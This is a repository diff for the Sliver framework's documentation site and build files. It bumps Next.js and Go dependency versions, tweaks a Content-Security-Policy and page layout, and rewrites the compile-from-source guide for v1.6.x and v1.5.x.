"integrity": "sha512-ENPiNnBNDInBLyUU5ii8PMQh+4XLr4pG51tOp6aJ9xqFQ2iRI6IH0Ds2yJkAzNV1CfyagcyzPfROMViS2wOZ9w==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -472,9 +472,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-musl": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.0.4.tgz",
|
||||
"integrity": "sha512-m8z/6Fyal4L9Bnlxde5g2Mfa1Z7dasMQyhEhskDATpqr+Y0mjOBZcXQ7G5U+vgL22cI4T7MfvgtrM2jdopqWaw==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.3.tgz",
|
||||
"integrity": "sha512-BTAbq0LnCbF5MtoM7I/9UeUu/8ZBY0i8SFjUMCbPDOLv+un67e2JgyN4pmgfXBwy/I+RHu8q+k+MCkDN6P9ViQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -487,9 +487,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-arm64-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-7Wv4PRiWIAWbm5XrGz3D8HUkCVDMMz9igffZG4NB1p4u1KoItwx9qjATHz88kwCEal/HXmbShucaslXCQXUM5w==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.3.tgz",
|
||||
"integrity": "sha512-AEHIw/dhAMLNFJFJIJIyOFDzrzI5bAjI9J26gbO5xhAKHYTZ9Or04BesFPXiAYXDNdrwTP2dQceYA4dL1geu8A==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -502,9 +502,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-ia32-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-zLeNEAPULsl0phfGb4kdzF/cAVIfaC7hY+kt0/d+y9mzcZHsMS3hAS829WbJ31DkSlVKQeHEjZHIdhN+Pg7Gyg==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.3.tgz",
|
||||
"integrity": "sha512-vga40n1q6aYb0CLrM+eEmisfKCR45ixQYXuBXxOOmmoV8sYST9k7E3US32FsY+CkkF7NtzdcebiFT4CHuMSyZw==",
|
||||
"cpu": [
|
||||
"ia32"
|
||||
],
|
||||
@@ -517,9 +517,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-x64-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-yEh2+R8qDlDCjxVpzOTEpBLQTEFAcP2A8fUFLaWNap9GitYKkKv1//y2S6XY6zsR4rCOPRpU7plYDR+az2n30A==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.3.tgz",
|
||||
"integrity": "sha512-Q1/zm43RWynxrO7lW4ehciQVj+5ePBhOK+/K2P7pLFX3JaJ/IZVC69SHidrmZSOkqz7ECIOhhy7XhAFG4JYyHA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -2815,11 +2815,17 @@
|
||||
"integrity": "sha512-2/U3GXA6YiPYQDLGwtGlnNgKYBSwCFIHf8Y9LUY5VATHdtbLlU0Y1R3QoBnT0aB4qv/BEiVVsj7LJXoQCgJ2vA==",
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/@swc/counter": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",
|
||||
"integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ=="
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.2",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.2.tgz",
|
||||
"integrity": "sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==",
|
||||
"version": "0.5.5",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.5.tgz",
|
||||
"integrity": "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A==",
|
||||
"dependencies": {
|
||||
"@swc/counter": "^0.1.3",
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
@@ -3515,9 +3521,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001570",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001570.tgz",
|
||||
"integrity": "sha512-+3e0ASu4sw1SWaoCtvPeyXp+5PsjigkSt8OXZbF9StH5pQWbxEjLAZE3n8Aup5udop1uRiKA7a4utUk/uoSpUw==",
|
||||
"version": "1.0.30001614",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001614.tgz",
|
||||
"integrity": "sha512-jmZQ1VpmlRwHgdP1/uiKzgiAuGOfLEJsYFP4+GBou/QQ4U6IOJCB4NP1c+1p9RGLpwObcT94jA5/uO+F1vBbog==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "opencollective",
|
||||
@@ -4773,11 +4779,6 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/glob-to-regexp": {
|
||||
"version": "0.4.1",
|
||||
"resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
|
||||
"integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
|
||||
},
|
||||
"node_modules/globals": {
|
||||
"version": "13.24.0",
|
||||
"resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
|
||||
@@ -6587,18 +6588,17 @@
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/next": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-14.0.4.tgz",
|
||||
"integrity": "sha512-qbwypnM7327SadwFtxXnQdGiKpkuhaRLE2uq62/nRul9cj9KhQ5LhHmlziTNqUidZotw/Q1I9OjirBROdUJNgA==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-14.2.3.tgz",
|
||||
"integrity": "sha512-dowFkFTR8v79NPJO4QsBUtxv0g9BrS/phluVpMAt2ku7H+cbcBJlopXjkWlwxrk/xGqMemr7JkGPGemPrLLX7A==",
|
||||
"dependencies": {
|
||||
"@next/env": "14.0.4",
|
||||
"@swc/helpers": "0.5.2",
|
||||
"@next/env": "14.2.3",
|
||||
"@swc/helpers": "0.5.5",
|
||||
"busboy": "1.6.0",
|
||||
"caniuse-lite": "^1.0.30001406",
|
||||
"caniuse-lite": "^1.0.30001579",
|
||||
"graceful-fs": "^4.2.11",
|
||||
"postcss": "8.4.31",
|
||||
"styled-jsx": "5.1.1",
|
||||
"watchpack": "2.4.0"
|
||||
"styled-jsx": "5.1.1"
|
||||
},
|
||||
"bin": {
|
||||
"next": "dist/bin/next"
|
||||
@@ -6607,18 +6607,19 @@
|
||||
"node": ">=18.17.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@next/swc-darwin-arm64": "14.0.4",
|
||||
"@next/swc-darwin-x64": "14.0.4",
|
||||
"@next/swc-linux-arm64-gnu": "14.0.4",
|
||||
"@next/swc-linux-arm64-musl": "14.0.4",
|
||||
"@next/swc-linux-x64-gnu": "14.0.4",
|
||||
"@next/swc-linux-x64-musl": "14.0.4",
|
||||
"@next/swc-win32-arm64-msvc": "14.0.4",
|
||||
"@next/swc-win32-ia32-msvc": "14.0.4",
|
||||
"@next/swc-win32-x64-msvc": "14.0.4"
|
||||
"@next/swc-darwin-arm64": "14.2.3",
|
||||
"@next/swc-darwin-x64": "14.2.3",
|
||||
"@next/swc-linux-arm64-gnu": "14.2.3",
|
||||
"@next/swc-linux-arm64-musl": "14.2.3",
|
||||
"@next/swc-linux-x64-gnu": "14.2.3",
|
||||
"@next/swc-linux-x64-musl": "14.2.3",
|
||||
"@next/swc-win32-arm64-msvc": "14.2.3",
|
||||
"@next/swc-win32-ia32-msvc": "14.2.3",
|
||||
"@next/swc-win32-x64-msvc": "14.2.3"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@opentelemetry/api": "^1.1.0",
|
||||
"@playwright/test": "^1.41.2",
|
||||
"react": "^18.2.0",
|
||||
"react-dom": "^18.2.0",
|
||||
"sass": "^1.3.0"
|
||||
@@ -6627,6 +6628,9 @@
|
||||
"@opentelemetry/api": {
|
||||
"optional": true
|
||||
},
|
||||
"@playwright/test": {
|
||||
"optional": true
|
||||
},
|
||||
"sass": {
|
||||
"optional": true
|
||||
}
|
||||
@@ -8431,18 +8435,6 @@
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/watchpack": {
|
||||
"version": "2.4.0",
|
||||
"resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz",
|
||||
"integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==",
|
||||
"dependencies": {
|
||||
"glob-to-regexp": "^0.4.1",
|
||||
"graceful-fs": "^4.1.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next": "^14.2.3",
|
||||
"next-themes": "^0.2.1",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
|
||||
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
|
||||
import React from "react";
|
||||
|
||||
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; frame-src https://youtu.be; connect-src 'self'`;
|
||||
|
||||
class MyDocument extends Document {
|
||||
static async getInitialProps(ctx: any) {
|
||||
@@ -17,7 +17,6 @@ class MyDocument extends Document {
|
||||
return (
|
||||
<Html lang="en">
|
||||
<Head>
|
||||
<title>Sliver Docs</title>
|
||||
<meta httpEquiv="Content-Security-Policy" content={CSP} />
|
||||
</Head>
|
||||
<body>
|
||||
|
||||
@@ -7,10 +7,10 @@
|
||||
### Videos
|
||||
|
||||
- https://youtu.be/3R6WKUgN0K4?t=456
|
||||
- https://www.youtube.com/watch?v=QO_1UMaiWHk
|
||||
- https://www.youtube.com/watch?v=izMMmOaLn9g
|
||||
- https://www.youtube.com/watch?v=qIbrozlf2wM
|
||||
- https://www.youtube.com/watch?v=CKfjLnEMfvI
|
||||
- https://youtu.be/watch?v=QO_1UMaiWHk
|
||||
- https://youtu.be/watch?v=izMMmOaLn9g
|
||||
- https://youtu.be/watch?v=qIbrozlf2wM
|
||||
- https://youtu.be/watch?v=CKfjLnEMfvI
|
||||
|
||||
### Blogs
|
||||
|
||||
|
||||
@@ -1,30 +1,22 @@
|
||||
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
|
||||
|
||||
### Compile From Source (No Docker)
|
||||
# Sliver v1.6.x
|
||||
|
||||
From scratch without Docker, requirements for compiling:
|
||||
|
||||
- Go v1.21 or later, though we recommend Go v1.22. When compiling v1.5.x use Go v1.20.7
|
||||
- Go v1.21 or later
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
```asciinema
|
||||
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
#### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
### Compiling
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.39
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
@@ -34,42 +26,33 @@ $ make
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
#### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
|
||||
There are a few Docker targets available depending on your needs:
|
||||
|
||||
- `test` - Runs the unit tests
|
||||
- `production` - Builds the production Docker image, including optional dependencies like Metasploit
|
||||
- `production-slim` - Builds the production Docker image, but without Metasploit and other optional dependencies
|
||||
|
||||
From the project root directory run:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
docker build --target production -t sliver .
|
||||
```
|
||||
|
||||
#### Compiling Sliver on Kali Linux
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
|
||||
## Developers
|
||||
# Developers
|
||||
|
||||
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
|
||||
|
||||
- Protoc v3.19.4 or later
|
||||
- Protoc libprotoc v26.1 or later
|
||||
- Protoc-gen-go v1.27.1
|
||||
- Protoc-gen-go-grpc v1.2.0
|
||||
|
||||
@@ -95,3 +78,66 @@ Ensure that these are both on your `$PATH` after running the commands, if not yo
|
||||
```
|
||||
$ make pb
|
||||
```
|
||||
|
||||
# Sliver v1.5.x
|
||||
|
||||
- When compiling v1.5.x use Go v1.20.7 you can check your version using `go version`. You can use the [Go Version Manager](https://github.com/moovweb/gvm) to install and manage multiple versions of Go.
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.42
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
```
|
||||
$ make
|
||||
```
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** In versions of Sliver prior to 1.6.0 you will need mingw to cross-compile Windows builds:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
@@ -18,9 +18,8 @@ export default function Home() {
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-12 mt-2">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-5 mr-2">
|
||||
<div className="grid grid-cols-12 mt-2 gap-2 ml-12 mr-12">
|
||||
<div className="col-span-6">
|
||||
<AsciinemaPlayer
|
||||
src="/asciinema/intro.cast"
|
||||
rows="18"
|
||||
@@ -31,7 +30,7 @@ export default function Home() {
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
<div className="col-span-5 ml-2">
|
||||
<div className="col-span-6 ml-2">
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<div className="flex items-center">
|
||||
@@ -64,21 +63,17 @@ export default function Home() {
|
||||
</CardBody>
|
||||
</Card>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="col-span-12 mt-8">
|
||||
<Divider />
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="grid grid-cols-8">
|
||||
<div className="col-span-2">
|
||||
<div className="col-span-12 mt-8">
|
||||
<div className="grid grid-cols-9 gap-2">
|
||||
<div className="col-span-3">
|
||||
<TutorialCard
|
||||
name="Getting Started"
|
||||
description="A quick start guide to get you up and running with Sliver."
|
||||
description="A quick start guide to get you up and running"
|
||||
asciiCast="/asciinema/install-1.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
@@ -93,9 +88,27 @@ export default function Home() {
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="col-span-3">
|
||||
<TutorialCard
|
||||
name="Compile From Source"
|
||||
description="How to compile Sliver from source"
|
||||
asciiCast="/asciinema/compile-from-source.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
showButton={true}
|
||||
buttonText="Read Docs"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Compile from Source" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-12 mb-8"></div>
|
||||
</div>
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,28 +1,28 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.21.1
|
||||
go 1.22.0
|
||||
|
||||
toolchain go1.21.4
|
||||
toolchain go1.22.2
|
||||
|
||||
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
|
||||
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
|
||||
github.com/chromedp/chromedp v0.9.3
|
||||
github.com/chromedp/cdproto v0.0.0-20240426225625-909263490071
|
||||
github.com/chromedp/chromedp v0.9.5
|
||||
github.com/fatih/color v1.16.0
|
||||
github.com/glebarez/sqlite v1.10.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.3
|
||||
github.com/google/uuid v1.4.0
|
||||
github.com/golang/protobuf v1.5.4
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8
|
||||
@@ -30,46 +30,46 @@ require (
|
||||
github.com/klauspost/compress v1.17.8
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.18
|
||||
github.com/miekg/dns v1.1.57
|
||||
github.com/mattn/go-sqlite3 v1.14.22
|
||||
github.com/miekg/dns v1.1.59
|
||||
github.com/moloch--/asciicast v0.1.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
|
||||
github.com/ncruces/go-sqlite3 v0.7.2
|
||||
github.com/reeflective/console v0.1.6
|
||||
github.com/reeflective/readline v1.0.13
|
||||
github.com/rsteube/carapace v0.36.3
|
||||
github.com/reeflective/console v0.1.15
|
||||
github.com/reeflective/readline v1.0.14
|
||||
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/spf13/cobra v1.8.0
|
||||
github.com/spf13/pflag v1.0.5
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/ulikunitz/xz v0.5.11
|
||||
github.com/tetratelabs/wazero v1.7.1
|
||||
github.com/things-go/go-socks5 v0.0.5
|
||||
github.com/ulikunitz/xz v0.5.12
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.21.0
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
|
||||
golang.org/x/net v0.23.0
|
||||
golang.org/x/sys v0.18.0
|
||||
golang.org/x/term v0.18.0
|
||||
golang.org/x/crypto v0.22.0
|
||||
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f
|
||||
golang.org/x/net v0.24.0
|
||||
golang.org/x/sys v0.19.0
|
||||
golang.org/x/term v0.19.0
|
||||
golang.org/x/text v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.59.0
|
||||
google.golang.org/protobuf v1.33.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6
|
||||
google.golang.org/grpc v1.63.2
|
||||
google.golang.org/protobuf v1.34.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.5.1
|
||||
gorm.io/driver/postgres v1.5.2
|
||||
gorm.io/driver/sqlite v1.5.4
|
||||
gorm.io/gorm v1.25.5
|
||||
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6
|
||||
modernc.org/sqlite v1.27.0
|
||||
tailscale.com v1.54.0
|
||||
gorm.io/driver/mysql v1.5.6
|
||||
gorm.io/driver/postgres v1.5.7
|
||||
gorm.io/driver/sqlite v1.5.5
|
||||
gorm.io/gorm v1.25.10
|
||||
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3
|
||||
modernc.org/sqlite v1.29.8
|
||||
tailscale.com v1.64.2
|
||||
)
|
||||
|
||||
require (
|
||||
cloud.google.com/go/compute/metadata v0.2.3 // indirect
|
||||
filippo.io/edwards25519 v1.0.0 // indirect
|
||||
filippo.io/edwards25519 v1.1.0 // indirect
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.6.1 // indirect
|
||||
@@ -79,48 +79,52 @@ require (
|
||||
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.21.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.42 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.40 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0 // indirect
|
||||
github.com/aws/smithy-go v1.14.2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.24.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.26.5 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.16.16 // indirect
|
||||
